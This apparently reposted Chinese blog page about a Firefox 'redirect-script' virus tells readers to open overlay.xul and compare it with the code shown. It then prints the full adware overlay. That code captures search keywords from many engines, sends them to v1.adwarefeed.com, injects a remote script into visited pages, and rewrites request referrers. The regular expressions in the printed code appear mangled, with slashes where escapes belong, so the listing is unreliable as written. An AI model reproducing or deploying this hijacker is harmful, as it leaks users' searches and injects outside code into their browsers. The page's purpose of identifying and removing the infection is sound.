Firefox 脚本病毒 redirect-script

来源：互联网发布：2018年5g网络编辑：程序博客网时间：2024/06/05 09:30

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Right click on the file (most likely called overlay.xul), choose "open with", select either notepad or wordpad. The result may not come out as nice and neat as the code below, that is OK. Scroll past the License Block. Look for code similar to what you see below:

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<overlay id="xulcache-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" >
window.addEventListener("load", function() { xulRef.init(); }, false);
window.addEventListener("load", initRequestObserver, false);
var xulRef = {
init:
function(){
var appcontent = document.getElementById("appcontent");
if(appcontent){
appcontent.addEventListener("DOMContentLoaded", xulRef.onPageLoad, true);
}
},
onPageLoad:
function(aEvent){
var doc = aEvent.originalTarget;
var loc = doc.location.href;
var ref = doc.referrer;
var keyword = '';
var engine ;
var __d = "http://v1.adwarefeed.com/ffjs.php?u=2630369290-57989841-1078081533-839522115a=998&s=3&v=icv270109ff&e=";

if( loc.match(/google/..+//search.*[&/?]q=([^&]*)/)){
keyword = RegExp.$1;
engine = 'google';
// } else if(loc.match(/search/.ua.+[&/?]q=([^&]*)/)){
// keyword = RegExp.$1;
} else if ( loc.match(/search/.yahoo.*search.*[&/?]p=([^&]*)/)){
keyword = RegExp.$1;
engine = 'yahoo';
} else if(loc.match(/altavista/.com.*results[&/?].*q=([^&]*)/)){
keyword = RegExp.$1;
engine = 'altavista';
} else if(loc.match(/alltheweb/.com.*search[&/?].*q=([^&]*)/)){
keyword = RegExp.$1;
engine = 'alltheweb';
} else if(loc.match(/search/.netscape/.com.*search[&/?].*query=([^&]*)/)){
keyword = RegExp.$1;
engine = 'netscape';
} else if(loc.match(/search/.aol/.com.*search[&/?].*query=([^&]*)/)){
keyword = RegExp.$1;
engine = 'aol';
} else if(loc.match(/ask/.com.*web[&/?].*q=([^&]*)/)){
keyword = RegExp.$1;
engine = 'ask';
} else if(loc.match(/search/.com.*search[&/?].*q=([^&]*)/)){
keyword = RegExp.$1;
engine = 'searchcom';
} else if(loc.match(/search/.lycos/.com.*[&/?].*query=([^&]*)/)){
keyword = RegExp.$1;
engine = 'lycos';
} else if(loc.match(/nova/.rambler/.ru.*search[&/?].*query=([^&]*)/)){
keyword = RegExp.$1;
engine = 'rambler';
} else if(loc.match(/gogo/.ru.*go[&/?].*q=([^&]*)/)){
keyword = RegExp.$1;
engine = 'gogo';
} else if(loc.match(/meta/.ua.*search.asp[&/?]q=([^&]*)/)){
keyword = RegExp.$1;
engine = 'meta';
//} else if(loc.match(/au/.ru.*searchPhrase=([^&]*)/)){
// keyword = RegExp.$1;
} else if(loc.match(/all/.by.*search.*[&/?]query=([^&]*)/)){
keyword = RegExp.$1;
engine = 'allby';
// } else if(loc.match(/uaport/.net.*UAcatalog[/][&/?].*query=([^&]*)/)){
// keyword = RegExp.$1;
} else if(loc.match(/search/.msn/.com.*results.*[&/?].*q=([^&]*)/)){
keyword = RegExp.$1;
engine = 'msn';
} else if(loc.match(/search/.live/.com.*results.*[&/?]q=([^&]*)/)){
keyword = RegExp.$1;
engine = 'live';
};

if( keyword.length > 0 ){
var script = window.content.document.createElement('script');
script.id = "js_0";
script.src = __d + engine + '&q=' + keyword;
doc.getElementsByTagName('head')[0].appendChild(script);
}
}
};
function initRequestObserver() {
var observerService = Components.classes["@mozilla.org/observer-service;1"].getService(Components.interfaces.nsIObserverService);
observerService.addObserver(httpRequestObserver, "http-on-modify-request", false);
}

var httpRequestObserver = {
observe:
function(subject, topic, data) {
if(topic == "http-on-modify-request") {
var httpChannel = subject.QueryInterface(Components.interfaces.nsIHttpChannel);
var pos = subject.URI.spec.indexOf("&rf=http");
if(pos > -1) {
var newRef = this.ioService = Components.classes["@mozilla.org/network/io-service;1"] .getService(Components.interfaces.nsIIOService) .newURI(decodeURIComponent(subject.URI.spec.substring(pos+4)), null, null);
httpChannel.referrer = newRef; subject.URI.spec = subject.URI.spec.substring(0, pos);
}
}
}
};

</script>
</overlay>